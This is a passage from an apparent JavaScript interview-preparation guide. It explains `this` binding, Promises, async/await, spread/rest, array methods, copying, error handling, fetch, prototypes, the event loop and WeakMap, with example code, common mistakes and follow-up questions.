console.log(this.seconds); // works! this = timer
}, 1000);
}
};
// Compare with regular function:
const brokenTimer = {
seconds: 0,
start() {
setInterval(function() {
this.seconds++; // `this` is window, not brokenTimer!
}, 1000);
}
};
// ── this in classes ──
class Button {
constructor(label) {
this.label = label;
// Arrow in constructor captures `this` permanently
this.handleClick = () => {
console.log(`Clicked: ${this.label}`);
};
}
}
const btn = new Button("Submit");
const handler = btn.handleClick;
handler(); // "Clicked: Submit" — arrow preserves `this`
A React class component had 12 event handlers, each needing this.bind(this) in the constructor. Forgetting one binding caused a production crash — "Cannot read property setState of undefined." The team switched to arrow function class fields, eliminating all manual binding.
Candidates extract a method and expect this to remain bound:
const user = {
name: "Alice",
greet() { return `Hi, ${this.name}`; }
};
const fn = user.greet;
fn(); // "Hi, undefined" — this is lost!const fn = user.greet.bind(user);
fn(); // "Hi, Alice"
// Or use arrow in class field
class User {
name = "Alice";
greet = () => `Hi, ${this.name}`; // always bound
}What is the difference between call(), apply(), and bind()? Give an example of each.
A Promise is an object representing the eventual completion or failure of an asynchronous operation. It has three states: pending (initial), fulfilled (success), and rejected (failure). Once settled (fulfilled or rejected), a Promise cannot change state.
You consume promises with .then(onFulfilled), .catch(onRejected), and .finally(onSettled). These methods return new Promises, enabling chaining.
Promise utility methods: Promise.all() (all must succeed), Promise.allSettled() (wait for all regardless), Promise.race() (first to settle), Promise.any() (first to succeed).
// ── Creating a Promise ──
function fetchUserData(userId) {
return new Promise((resolve, reject) => {
// Simulating async API call
setTimeout(() => {
if (userId > 0) {
resolve({ id: userId, name: "Alice", email: "alice@example.com" });
} else {
reject(new Error("Invalid user ID"));
}
}, 1000);
});
}
// ── Consuming with .then/.catch/.finally ──
fetchUserData(1)
.then(user => {
console.log("User:", user.name); // "Alice"
return fetchUserData(2); // return another Promise → chain
})
.then(user2 => {
console.log("User 2:", user2.name);
})
.catch(error => {
console.error("Failed:", error.message); // handles ANY error in chain
})
.finally(() => {
console.log("Done — cleanup here (runs success or failure)");
});
// ── Promise.all — parallel execution, fail-fast ──
async function loadDashboard() {
const [users, orders, stats] = await Promise.all([
fetch("/api/users").then(r => r.json()),
fetch("/api/orders").then(r => r.json()),
fetch("/api/stats").then(r => r.json()),
]);
// All 3 run in parallel — total time = slowest request
// If ANY fails, the whole Promise.all rejects
return { users, orders, stats };
}
// ── Promise.allSettled — get results of all, even failures ──
const results = await Promise.allSettled([
fetch("/api/service-a").then(r => r.json()),
fetch("/api/service-b").then(r => r.json()), // might fail
fetch("/api/service-c").then(r => r.json()),
]);
results.forEach(r => {
if (r.status === "fulfilled") console.log("OK:", r.value);
if (r.status === "rejected") console.log("Failed:", r.reason);
});
// ── Promise.race — first to settle wins ──
const result = await Promise.race([
fetch("/api/data"),
new Promise((_, reject) =>
setTimeout(() => reject(new Error("Timeout")), 5000)
),
]);
// Either data arrives or timeout fires — whichever comes first
// ── Promise.any — first to succeed (ignores rejections) ──
const fastest = await Promise.any([
fetch("https://cdn1.example.com/data.json"),
fetch("https://cdn2.example.com/data.json"),
fetch("https://cdn3.example.com/data.json"),
]); // first successful response wins
A dashboard loaded 8 API endpoints sequentially (one after another), taking 4.2 seconds. Switching to Promise.all() for 6 independent endpoints (keeping 2 dependent ones sequential) reduced load time to 0.9 seconds — a 4.7x improvement with zero backend changes.
Candidates nest .then() calls instead of chaining them (the "Promise hell" anti-pattern):
getUser(1).then(user => {
getOrders(user.id).then(orders => {
getItems(orders[0].id).then(items => {
console.log(items); // deeply nested!
});
});
}); // no .catch — errors silently swallowed!getUser(1)
.then(user => getOrders(user.id))
.then(orders => getItems(orders[0].id))
.then(items => console.log(items))
.catch(error => console.error(error)); // catches any error in chainWhat is the difference between Promise.all() and Promise.allSettled()? When would you use each?
async/await is syntactic sugar over Promises that makes asynchronous code look and behave like synchronous code. An async function always returns a Promise. The await keyword pauses execution inside the function until the awaited Promise settles.
Under the hood, await doesn't actually block the thread — it suspends the function and lets other code run. When the Promise resolves, the function resumes from where it paused. This is similar to generators with yield.
Error handling with async/await uses standard try/catch — much more readable than .catch() chains. You can also combine async/await with Promise.all() for parallel execution.
// ── Basic async/await ──
async function getUserProfile(userId) {
try {
const response = await fetch(`/api/users/${userId}`);
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
const user = await response.json();
console.log(`Loaded: ${user.name}`);
return user;
} catch (error) {
console.error("Failed to load user:", error.message);
throw error; // re-throw to let caller handle it
}
}
// ── Sequential vs Parallel ──
// SLOW: sequential (one after another)
async function loadSequential() {
const users = await fetch("/api/users").then(r => r.json()); // wait...
const orders = await fetch("/api/orders").then(r => r.json()); // then wait...
const stats = await fetch("/api/stats").then(r => r.json()); // then wait...
// Total time = sum of all three
return { users, orders, stats };
}
// FAST: parallel with Promise.all
async function loadParallel() {
const [users, orders, stats] = await Promise.all([
fetch("/api/users").then(r => r.json()),
fetch("/api/orders").then(r => r.json()),
fetch("/api/stats").then(r => r.json()),
]);
// Total time = slowest of the three
return { users, orders, stats };
}
// ── Error handling with try/catch ──
async function processPayment(orderId, amount) {
try {
const auth = await verifyAuth();
const balance = await checkBalance(auth.userId);
if (balance < amount) {
throw new Error("Insufficient funds");
}
const result = await chargeCard(orderId, amount);
await sendReceipt(result.transactionId);
return { success: true, transactionId: result.transactionId };
} catch (error) {
await logError("payment_failed", { orderId, error: error.message });
return { success: false, error: error.message };
} finally {
// Cleanup: release locks, close connections
await releasePaymentLock(orderId);
}
}
// ── Async iteration (for await...of) ──
async function processStream(url) {
const response = await fetch(url);
const reader = response.body.getReader();
const decoder = new TextDecoder();
while (true) {
const { done, value } = await reader.read();
if (done) break;
console.log(decoder.decode(value));
}
}
// ── Top-level await (ES2022, modules only) ──
// const config = await fetch("/config.json").then(r => r.json());
A payment processing pipeline had 8 nested .then() chains with error handling scattered across 200 lines. Refactoring to async/await with a single try/catch reduced it to 60 lines, and the team immediately spotted a bug where a failed charge wasn't rolling back the inventory reservation.
Candidates await independent operations sequentially instead of in parallel:
async function loadData() {
const users = await fetchUsers(); // 500ms
const orders = await fetchOrders(); // 400ms
const stats = await fetchStats(); // 300ms
// Total: 1200ms (sequential)
}async function loadData() {
const [users, orders, stats] = await Promise.all([
fetchUsers(), // 500ms ─┐
fetchOrders(), // 400ms ─┼─ all run simultaneously
fetchStats(), // 300ms ─┘
]);
// Total: 500ms (slowest one)
}How do you handle errors in async/await when using Promise.all()? What happens if one promise rejects?
The ... syntax serves two purposes depending on context: spread (expands elements) and rest (collects elements).
Spread expands an iterable (array, string, object) into individual elements. Used in: function calls, array literals, and object literals. It creates shallow copies.
Rest collects multiple elements into a single array or object. Used in: function parameters and destructuring. The rest element must always be last.
// ── SPREAD: expanding elements ──
// Array spread
const arr1 = [1, 2, 3];
const arr2 = [4, 5, 6];
const merged = [...arr1, ...arr2]; // [1, 2, 3, 4, 5, 6]
const copy = [...arr1]; // [1, 2, 3] (shallow copy)
const withExtra = [0, ...arr1, 99]; // [0, 1, 2, 3, 99]
// Object spread
const defaults = { theme: "dark", lang: "en", notifications: true };
const userPrefs = { theme: "light", lang: "es" };
const config = { ...defaults, ...userPrefs };
// { theme: "light", lang: "es", notifications: true }
// Later properties override earlier ones
// Function call spread
const numbers = [5, 2, 8, 1, 9];
console.log(Math.max(...numbers)); // 9 (spreads array into arguments)
// String spread
const chars = [..."hello"]; // ["h", "e", "l", "l", "o"]
// ── REST: collecting elements ──
// Function parameters
function sum(...numbers) {
return numbers.reduce((total, n) => total + n, 0);
}
console.log(sum(1, 2, 3, 4)); // 10
// Mixed: first params + rest
function logActivity(action, userId, ...details) {
console.log(`[${action}] User ${userId}: ${details.join(", ")}`);
}
logActivity("LOGIN", 42, "Chrome", "Windows", "2025-01-15");
// "[LOGIN] User 42: Chrome, Windows, 2025-01-15"
// Array destructuring with rest
const [first, second, ...remaining] = [10, 20, 30, 40, 50];
// first = 10, second = 20, remaining = [30, 40, 50]
// Object destructuring with rest
const { name, email, ...metadata } = {
name: "Alice", email: "a@b.com", role: "admin", joined: "2024"
};
// name = "Alice", email = "a@b.com"
// metadata = { role: "admin", joined: "2024" }
// ── Practical: immutable state updates (React pattern) ──
const state = {
users: [{ id: 1, name: "Alice" }, { id: 2, name: "Bob" }],
loading: false,
error: null,
};
// Add user without mutating state
const newState = {
...state,
users: [...state.users, { id: 3, name: "Charlie" }],
};
// Update specific user without mutating
const updatedState = {
...state,
users: state.users.map(u =>
u.id === 1 ? { ...u, name: "Alicia" } : u
),
};
A Redux codebase had 50+ reducers using Object.assign() for state updates. Migrating to spread syntax made the code 40% shorter and eliminated 8 bugs where Object.assign() was accidentally mutating the source object (passing it as the first argument instead of an empty object).
Candidates forget that spread creates only a shallow copy — nested objects are still shared:
const original = { user: { name: "Alice", scores: [90, 85] } };
const copy = { ...original };
copy.user.name = "Bob"; // mutates original.user.name too!
original.user.name; // "Bob" — both point to same nested object// Option 1: structuredClone (modern, recommended)
const deep = structuredClone(original);
// Option 2: JSON (works for serializable data)
const deep2 = JSON.parse(JSON.stringify(original));
// Option 3: manual spread for known structure
const deep3 = { user: { ...original.user, scores: [...original.user.scores] } };What is structuredClone() and how does it compare to JSON.parse(JSON.stringify()) for deep copying?
map(), filter(), and reduce() are the three most important array methods for functional-style data transformation. They don't mutate the original array — they return new values.
map(fn): transforms each element, returns a new array of the same length. filter(fn): keeps elements where fn returns truthy, returns a shorter (or equal) array. reduce(fn, initial): accumulates all elements into a single value (number, object, array, etc.).
They're often chained together for data pipelines: filter out unwanted items → transform remaining items → reduce to a summary.
const employees = [
{ name: "Alice", department: "Engineering", salary: 95000, yearsExp: 5 },
{ name: "Bob", department: "Marketing", salary: 72000, yearsExp: 3 },
{ name: "Charlie", department: "Engineering", salary: 110000, yearsExp: 8 },
{ name: "Diana", department: "Engineering", salary: 88000, yearsExp: 4 },
{ name: "Eve", department: "Marketing", salary: 68000, yearsExp: 2 },
{ name: "Frank", department: "Design", salary: 82000, yearsExp: 6 },
];
// ── map(): transform each element ──
const names = employees.map(e => e.name);
// ["Alice", "Bob", "Charlie", "Diana", "Eve", "Frank"]
const raises = employees.map(e => ({
...e,
salary: Math.round(e.salary * 1.10), // 10% raise
}));
// Each object gets a new salary — original array unchanged
// ── filter(): keep matching elements ──
const engineers = employees.filter(e => e.department === "Engineering");
// [Alice, Charlie, Diana]
const senior = employees.filter(e => e.yearsExp >= 5);
// [Alice, Charlie, Frank]
// ── reduce(): accumulate into single value ──
const totalPayroll = employees.reduce((sum, e) => sum + e.salary, 0);
// 515000
// reduce() to build an object (group by department)
const byDept = employees.reduce((groups, e) => {
const dept = e.department;
groups[dept] = groups[dept] || [];
groups[dept].push(e.name);
return groups;
}, {});
// { Engineering: ["Alice","Charlie","Diana"], Marketing: ["Bob","Eve"], Design: ["Frank"] }
// ── Chaining: data pipeline ──
const engineeringSalaryReport = employees
.filter(e => e.department === "Engineering") // keep engineers
.map(e => ({ name: e.name, salary: e.salary })) // extract fields
.sort((a, b) => b.salary - a.salary) // sort by salary desc
.reduce((report, e, i) => {
report.employees.push(`${i + 1}. ${e.name}: $${e.salary.toLocaleString()}`);
report.total += e.salary;
return report;
}, { employees: [], total: 0 });
console.log(engineeringSalaryReport);
// {
// employees: ["1. Charlie: $110,000", "2. Alice: $95,000", "3. Diana: $88,000"],
// total: 293000
// }
// ── find(), some(), every() — related methods ──
const alice = employees.find(e => e.name === "Alice"); // first match or undefined
const hasMarketing = employees.some(e => e.department === "Marketing"); // true
const allSenior = employees.every(e => e.yearsExp >= 5); // false
An analytics dashboard processed 100K+ event records per page load. A single chained pipeline — filter(validEvents).map(normalize).reduce(aggregate) — replaced 150 lines of nested for-loops, reducing bugs by 60% and making the data pipeline testable with unit tests for each step.
Candidates forget to return the accumulator in reduce(), or they omit the initial value:
const total = [10, 20, 30].reduce((sum, n) => {
sum + n; // forgot return! sum is undefined on next iteration
});
// Result: NaN// Arrow with implicit return:
const total = [10, 20, 30].reduce((sum, n) => sum + n, 0);
// 60
// With block body — explicit return:
const total2 = [10, 20, 30].reduce((sum, n) => {
return sum + n;
}, 0);How would you implement map() and filter() using only reduce()?
A shallow copy creates a new object/array but only copies the top-level properties. If a property holds a reference (nested object/array), both the copy and original point to the same nested object — changes to nested data affect both.
A deep copy recursively clones all levels, creating completely independent data. No shared references exist between the original and copy.
JavaScript provides several ways to copy: spread ({...obj}), Object.assign(), Array.from() — all shallow. For deep: structuredClone() (modern), JSON parse/stringify (limited), or libraries like Lodash's _.cloneDeep().
// ── Shallow copy — nested objects are shared ──
const original = {
name: "Alice",
scores: [90, 85, 92],
address: { city: "NYC", zip: "10001" }
};
// Shallow copy methods (all behave the same)
const copy1 = { ...original };
const copy2 = Object.assign({}, original);
// Top-level: independent
copy1.name = "Bob";
console.log(original.name); // "Alice" — unchanged ✅
// Nested: SHARED reference!
copy1.scores.push(100);
console.log(original.scores); // [90, 85, 92, 100] — mutated! ❌
copy1.address.city = "LA";
console.log(original.address.city); // "LA" — mutated! ❌
// ── Deep copy methods ──
// Method 1: structuredClone() (modern, recommended)
const deep1 = structuredClone(original);
deep1.scores.push(100);
console.log(original.scores.length); // 3 — unchanged ✅
deep1.address.city = "LA";
console.log(original.address.city); // "NYC" — unchanged ✅
// Method 2: JSON (works for serializable data only)
const deep2 = JSON.parse(JSON.stringify(original));
// ⚠️ Limitations: loses undefined, functions, Dates become strings,
// NaN becomes null, no circular references, no Map/Set/RegExp
// Method 3: manual recursive clone
function deepClone(obj) {
if (obj === null || typeof obj !== "object") return obj;
if (Array.isArray(obj)) return obj.map(item => deepClone(item));
return Object.fromEntries(
Object.entries(obj).map(([key, val]) => [key, deepClone(val)])
);
}
// ── Comparison table ──
// | Method | Depth | Speed | Limitations |
// |------------------|---------|--------|--------------------------------|
// | spread / assign | Shallow | Fast | Nested refs shared |
// | JSON roundtrip | Deep | Medium | No functions, Dates, undefined |
// | structuredClone | Deep | Medium | No functions, DOM nodes |
// | Lodash cloneDeep | Deep | Slow | External dependency |
// ── Practical: React state update ──
const state = {
users: [
{ id: 1, name: "Alice", prefs: { theme: "dark" } },
{ id: 2, name: "Bob", prefs: { theme: "light" } },
]
};
// Update user 1 theme (immutable pattern)
const newState = {
...state,
users: state.users.map(u =>
u.id === 1
? { ...u, prefs: { ...u.prefs, theme: "light" } }
: u
)
};
A Redux store held 10K product objects. A reducer used spread ({...product}) to "copy" products, but the nested variants array was shared. Editing one product's variant modified every product that had been copied from the same source. Switching to structuredClone for the reducer's initial copy fixed thousands of phantom inventory changes.
Candidates assume spread or Object.assign creates a deep copy:
const original = { settings: { darkMode: true } };
const copy = { ...original };
copy.settings.darkMode = false;
console.log(original.settings.darkMode); // false — mutation!const original = { settings: { darkMode: true } };
const copy = structuredClone(original);
copy.settings.darkMode = false;
console.log(original.settings.darkMode); // true — independent ✅What is Immer and how does it simplify immutable updates in React/Redux?
try/catch/finally is JavaScript's structured error handling mechanism. Code in the try block runs normally. If it throws an error, execution jumps to catch. The finally block runs regardless of success or failure — even if catch throws or if return is used.
You can throw any value (throw new Error("msg"), throw "string", throw 42), but best practice is to always throw Error objects because they include stack traces.
For async code: try/catch works with async/await but NOT with raw .then() chains — use .catch() for those. Unhandled rejections crash Node.js and show console errors in browsers.
// ── Basic try/catch/finally ──
function parseJSON(jsonString) {
try {
const data = JSON.parse(jsonString);
return { success: true, data };
} catch (error) {
console.error("Parse failed:", error.message);
return { success: false, error: error.message };
} finally {
console.log("Parse attempt completed"); // always runs
}
}
console.log(parseJSON('{"name":"Alice"}')); // { success: true, data: {...} }
console.log(parseJSON("invalid json")); // { success: false, error: "..." }
// ── Custom Error classes ──
class ValidationError extends Error {
constructor(field, message) {
super(message);
this.name = "ValidationError";
this.field = field;
}
}
class NotFoundError extends Error {
constructor(resource, id) {
super(`${resource} with id ${id} not found`);
this.name = "NotFoundError";
this.resource = resource;
this.id = id;
}
}
// ── Typed error handling ──
async function updateUser(id, data) {
try {
if (!data.email?.includes("@")) {
throw new ValidationError("email", "Invalid email format");
}
const user = await db.findById(id);
if (!user) {
throw new NotFoundError("User", id);
}
return await db.update(id, data);
} catch (error) {
if (error instanceof ValidationError) {
return { status: 400, error: `${error.field}: ${error.message}` };
}
if (error instanceof NotFoundError) {
return { status: 404, error: error.message };
}
// Unexpected error — log and rethrow
console.error("Unexpected error:", error);
throw error;
}
}
// ── Async error handling ──
async function fetchWithRetry(url, maxRetries = 3) {
for (let attempt = 1; attempt <= maxRetries; attempt++) {
try {
const response = await fetch(url);
if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}
return await response.json();
} catch (error) {
console.warn(`Attempt ${attempt} failed: ${error.message}`);
if (attempt === maxRetries) {
throw new Error(`Failed after ${maxRetries} attempts: ${error.message}`);
}
// Wait before retry (exponential backoff)
await new Promise(r => setTimeout(r, 1000 * attempt));
}
}
}
// ── finally for cleanup ──
async function processFile(path) {
const handle = await openFile(path);
try {
const data = await handle.read();
return transform(data);
} catch (error) {
await logError(error);
throw error;
} finally {
await handle.close(); // always close file, success or failure
}
}
A payment service had bare try/catch blocks that caught all errors and returned generic "Something went wrong" messages. Adding custom error classes (ValidationError, PaymentDeclinedError, NetworkError) with specific HTTP status codes reduced customer support tickets by 35% because users got actionable error messages.
Candidates catch errors but silently swallow them — hiding bugs:
try {
const data = await fetchCriticalData();
processData(data);
} catch (e) {
// silently swallowed — no logging, no re-throw
// bug hides here forever
}try {
const data = await fetchCriticalData();
processData(data);
} catch (error) {
logger.error("Data processing failed", { error, context: "dashboard" });
showUserNotification("Failed to load data. Please retry.");
// Re-throw if caller needs to know:
// throw error;
}How does error handling work differently with Promise .catch() vs try/catch with async/await?
The Fetch API is the modern way to make HTTP requests in JavaScript, replacing the older XMLHttpRequest. fetch() returns a Promise that resolves to a Response object. It's available in browsers and Node.js 18+.
Key points: fetch() only rejects on network errors (DNS failure, no internet) — it does NOT reject on HTTP errors like 404 or 500. You must check response.ok or response.status manually. The response body is a stream that you consume with .json(), .text(), .blob(), etc. — each can only be called once.
For POST/PUT/DELETE, pass an options object with method, headers, and body. Use AbortController to cancel requests and implement timeouts.
// ── Basic GET request ──
async function getUsers() {
const response = await fetch("https://api.example.com/users");
// fetch() doesn't reject on 404/500 — check manually!
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
const users = await response.json(); // parse JSON body
return users;
}
// ── POST request with JSON body ──
async function createUser(userData) {
const response = await fetch("https://api.example.com/users", {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer " + token,
},
body: JSON.stringify(userData),
});
if (!response.ok) {
const error = await response.json();
throw new Error(error.message || "Failed to create user");
}
return response.json();
}
// ── PUT, PATCH, DELETE ──
await fetch(`/api/users/${id}`, {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "Updated Name" }),
});
await fetch(`/api/users/${id}`, { method: "DELETE" });
// ── Request timeout with AbortController ──
async function fetchWithTimeout(url, timeoutMs = 5000) {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), timeoutMs);
try {
const response = await fetch(url, { signal: controller.signal });
clearTimeout(timeoutId);
if (!response.ok) throw new Error(`HTTP ${response.status}`);
return response.json();
} catch (error) {
clearTimeout(timeoutId);
if (error.name === "AbortError") {
throw new Error(`Request timed out after ${timeoutMs}ms`);
}
throw error;
}
}
// ── Upload FormData (file upload) ──
async function uploadFile(file) {
const formData = new FormData();
formData.append("file", file);
formData.append("folder", "uploads");
const response = await fetch("/api/upload", {
method: "POST",
body: formData, // no Content-Type header — browser sets it with boundary
});
return response.json();
}
// ── Reusable fetch wrapper ──
async function api(endpoint, options = {}) {
const config = {
headers: {
"Content-Type": "application/json",
...options.headers,
},
...options,
};
if (config.body && typeof config.body === "object") {
config.body = JSON.stringify(config.body);
}
const response = await fetch(`https://api.example.com${endpoint}`, config);
if (!response.ok) {
const error = await response.json().catch(() => ({}));
throw new Error(error.message || `HTTP ${response.status}`);
}
return response.json();
}
// Usage:
// const users = await api("/users");
// const newUser = await api("/users", { method: "POST", body: { name: "Alice" } });
A frontend team had 200+ fetch calls scattered across the codebase, each with different error handling (some checked response.ok, some didn't). They created a centralized api() wrapper that handled auth tokens, error responses, retries, and timeout. Bug reports from "blank screens" (caused by unchecked 401/500 responses) dropped to zero.
Candidates forget that fetch doesn't reject on HTTP errors:
try {
const data = await fetch("/api/users").then(r => r.json());
renderUsers(data); // might render error HTML from a 404 page!
} catch (e) {
// Only catches network failures, not 404/500
}try {
const response = await fetch("/api/users");
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
const data = await response.json();
renderUsers(data);
} catch (e) {
showError(e.message); // handles both network and HTTP errors
}What is the difference between fetch() and axios? When would you use each?
JavaScript uses prototypal inheritance — objects inherit directly from other objects, not from classes. Every object has an internal [[Prototype]] link (accessible via Object.getPrototypeOf() or the legacy __proto__ property) pointing to another object.
When you access a property on an object, JavaScript first checks the object itself. If not found, it follows the [[Prototype]] chain — checking the prototype, then the prototype's prototype, and so on until it reaches null. This chain is called the prototype chain.
ES6 class syntax is syntactic sugar over prototypal inheritance — it uses the same prototype mechanism under the hood. class Foo extends Bar sets Foo.prototype.__proto__ to Bar.prototype.
// ── The prototype chain ──
const animal = {
alive: true,
breathe() { return "breathing..."; }
};
const dog = Object.create(animal); // dog's prototype → animal
dog.bark = function() { return "Woof!"; };
const puppy = Object.create(dog); // puppy's prototype → dog
puppy.playful = true;
console.log(puppy.playful); // true — own property
console.log(puppy.bark()); // "Woof!" — found on dog (1 level up)
console.log(puppy.breathe()); // "breathing..." — found on animal (2 levels up)
console.log(puppy.alive); // true — found on animal
// Chain: puppy → dog → animal → Object.prototype → null
// ── How class syntax maps to prototypes ──
class Vehicle {
constructor(make, year) {
this.make = make; // own property on instance
this.year = year;
}
describe() { // goes on Vehicle.prototype
return `${this.year} ${this.make}`;
}
}
class Car extends Vehicle {
constructor(make, year, doors) {
super(make, year);
this.doors = doors;
}
honk() { return "Beep!"; } // goes on Car.prototype
}
const tesla = new Car("Tesla", 2024, 4);
console.log(tesla.describe()); // "2024 Tesla" — found on Vehicle.prototype
console.log(tesla.honk()); // "Beep!" — found on Car.prototype
// Verify the chain
console.log(tesla instanceof Car); // true
console.log(tesla instanceof Vehicle); // true
console.log(Object.getPrototypeOf(Car.prototype) === Vehicle.prototype); // true
// ── hasOwnProperty vs in ──
console.log(tesla.hasOwnProperty("make")); // true (own property)
console.log(tesla.hasOwnProperty("describe")); // false (on prototype)
console.log("describe" in tesla); // true (checks chain)
// ── Property shadowing ──
const base = { greet() { return "Hello from base"; } };
const child = Object.create(base);
child.greet = function() { return "Hello from child"; }; // shadows base.greet
console.log(child.greet()); // "Hello from child"
delete child.greet;
console.log(child.greet()); // "Hello from base" (falls back to prototype)
A game engine used prototypal inheritance for entity types: BaseEntity → MovableEntity → Character → Player. Adding a new enemy type required only creating a new prototype link, not rewriting base logic. The prototype chain handled 10K+ entities with shared methods, using 80% less memory than copying methods to each instance.
Candidates confuse .prototype (a property on constructor functions) with [[Prototype]] (the internal link on every object):
const obj = {};
console.log(obj.prototype); // undefined!
// .prototype exists on FUNCTIONS, not regular objects
// obj's internal [[Prototype]] is Object.prototypefunction Foo() {}
// Foo.prototype = object that instances inherit from
// Foo.__proto__ = Function.prototype (Foo's own prototype chain)
const f = new Foo();
Object.getPrototypeOf(f) === Foo.prototype; // true
Object.getPrototypeOf(Foo) === Function.prototype; // trueHow does Object.create() work and how is it different from new?
JavaScript is single-threaded — it has one call stack and can execute one piece of code at a time. The event loop is the mechanism that allows non-blocking I/O by offloading work to the browser/Node.js runtime and processing callbacks when the stack is empty.
The event loop has this priority: 1) Call stack (synchronous code) → 2) Microtask queue (Promise callbacks, queueMicrotask, MutationObserver) → 3) Macrotask queue (setTimeout, setInterval, I/O, UI rendering).
After each macrotask completes, the engine drains the entire microtask queue before picking the next macrotask. This means Promises always resolve before setTimeout callbacks, even if the timeout is 0.
// ── Event loop order visualization ──
console.log("1: Script start"); // 1️⃣ call stack (sync)
setTimeout(() => {
console.log("2: setTimeout 0ms"); // 5️⃣ macrotask queue
}, 0);
Promise.resolve()
.then(() => {
console.log("3: Promise.then 1"); // 3️⃣ microtask queue
})
.then(() => {
console.log("4: Promise.then 2"); // 4️⃣ microtask queue (chained)
});
queueMicrotask(() => {
console.log("5: queueMicrotask"); // 3️⃣ microtask queue
});
console.log("6: Script end"); // 2️⃣ call stack (sync)
// Output order:
// 1: Script start (sync)
// 6: Script end (sync)
// 3: Promise.then 1 (microtask — runs before macrotask!)
// 5: queueMicrotask (microtask)
// 4: Promise.then 2 (microtask — chained)
// 2: setTimeout 0ms (macrotask — runs last)
// ── Why this matters: blocking the event loop ──
// BAD: synchronous work blocks everything
function heavyComputation() {
const start = Date.now();
while (Date.now() - start < 3000) {} // blocks for 3 seconds!
console.log("Done");
}
// During those 3 seconds: no clicks, no scrolling, no animations
// GOOD: break work into chunks
async function processLargeArray(items) {
const CHUNK_SIZE = 1000;
for (let i = 0; i < items.length; i += CHUNK_SIZE) {
const chunk = items.slice(i, i + CHUNK_SIZE);
chunk.forEach(item => processItem(item));
// Yield to the event loop between chunks
await new Promise(resolve => setTimeout(resolve, 0));
}
}
// ── Microtask starvation ──
// This blocks macrotasks indefinitely!
function starve() {
Promise.resolve().then(() => {
// Continuously adding microtasks prevents any macrotask from running
// setTimeout callbacks, UI updates — all starved!
starve(); // DON'T DO THIS
});
}
// ── Practical: requestAnimationFrame (before repaint) ──
function animate() {
element.style.transform = `translateX(${position}px)`;
position += 2;
if (position < 500) {
requestAnimationFrame(animate); // runs before next repaint (~60fps)
}
}
requestAnimationFrame(animate);
A real-time chat app had "frozen UI" complaints. Investigation showed a JSON.parse() call on a 5MB message history was blocking the main thread for 800ms. Moving the parsing to a Web Worker and using setTimeout(fn, 0) to chunk the DOM updates restored smooth 60fps UI.
Candidates say "setTimeout(fn, 0) runs immediately" — it doesn't. It runs after the current call stack AND all microtasks are done:
setTimeout(() => console.log("timeout"), 0);
Promise.resolve().then(() => console.log("promise"));
// "timeout" first? NO!setTimeout(() => console.log("timeout"), 0); // macrotask
Promise.resolve().then(() => console.log("promise")); // microtask
// Output: "promise" then "timeout"
// Microtask queue is fully drained before any macrotask runsWhat is the difference between setTimeout, setImmediate (Node.js), and process.nextTick?
WeakMap and WeakSet are collections that hold weak references to their keys (WeakMap) or values (WeakSet). "Weak" means the reference doesn't prevent garbage collection — if no other reference to the key/value exists, it gets automatically cleaned up.
WeakMap keys must be objects (not primitives). WeakSet values must be objects. Neither is iterable — you can't loop over entries, get the size, or list all items. This is by design: since entries can disappear at any time (GC), iteration would be unpredictable.
Use cases: storing private data per object, caching computations for specific objects, tracking DOM elements without memory leaks, and marking objects without modifying them.
// ── WeakMap: private data per object ──
const privateData = new WeakMap();
class User {
constructor(name, password) {
this.name = name;
// Store sensitive data privately — not on the object itself
privateData.set(this, { password, loginCount: 0 });
}
authenticate(input) {
const data = privateData.get(this);
if (data.password === input) {
data.loginCount++;
return true;
}
return false;
}
getLoginCount() {
return privateData.get(this).loginCount;
}
}
let user = new User("Alice", "secret123");
user.authenticate("secret123"); // true
console.log(user.getLoginCount()); // 1
console.log(user.password); // undefined — not on the object!
user = null; // WeakMap entry auto-cleaned by GC
// ── WeakMap: caching expensive computations ──
const cache = new WeakMap();
function expensiveProcess(obj) {
if (cache.has(obj)) {
console.log("Cache hit!");
return cache.get(obj);
}
console.log("Computing...");
const result = { processed: true, data: JSON.stringify(obj), timestamp: Date.now() };
cache.set(obj, result);
return result;
}
let data = { x: 1, y: 2 };
expensiveProcess(data); // "Computing..."
expensiveProcess(data); // "Cache hit!"
data = null; // cache entry auto-cleaned — no memory leak!
// ── WeakSet: tracking DOM elements ──
const visited = new WeakSet();
document.querySelectorAll(".article").forEach(article => {
const observer = new IntersectionObserver(entries => {
entries.forEach(entry => {
if (entry.isIntersecting && !visited.has(entry.target)) {
visited.add(entry.target);
trackAnalytics("article_viewed", entry.target.id);
// If element is removed from DOM → WeakSet auto-cleans
}
});
});
observer.observe(article);
});
// ── Comparison: Map vs WeakMap ──
// | Feature | Map | WeakMap |
// |----------------|--------------|--------------|
// | Key types | Any | Objects only |
// | Iterable | Yes | No |
// | .size | Yes | No |
// | GC of keys | No (strong) | Yes (weak) |
// | Use case | General data | Per-object metadata |
// ── Memory leak prevention ──
// BAD: Map holds strong references — elements never GC'd
const badCache = new Map();
function addToCache(element) {
badCache.set(element, expensiveCompute(element));
// Even after element is removed from DOM, badCache keeps it alive!
}
// GOOD: WeakMap lets elements be GC'd
const goodCache = new WeakMap();
function addToGoodCache(element) {
goodCache.set(element, expensiveCompute(element));
// When element is removed from DOM and no other refs exist → auto-cleaned
}
A single-page app with infinite scroll used a regular Map to cache processed DOM nodes. After 2 hours of scrolling, memory usage hit 1.8GB because removed nodes were kept alive by the Map. Switching to WeakMap allowed GC to clean up off-screen nodes, keeping memory stable at 200MB.
Candidates try to use primitives as WeakMap keys or try to iterate over a WeakMap:
const wm = new WeakMap();
wm.set("key", "value"); // TypeError: Invalid value as weak map key
wm.set(42, "value"); // TypeError: primitives not allowed
for (const [k, v] of wm) {} // TypeError: wm is not iterable
console.log(wm.size); // undefinedconst wm = new WeakMap();
const obj = { id: 1 };
wm.set(obj, "metadata");
wm.has(obj); // true
wm.get(obj); // "metadata"
wm.delete(obj); // trueWhat are WeakRefs and FinalizationRegistry in ES2021?
A generator is a function that can be paused and resumed using the yield keyword. Defined with function*, it returns a generator object (which is both an iterator and an iterable). Each call to .next() runs the function until the next yield and returns { value, done }.
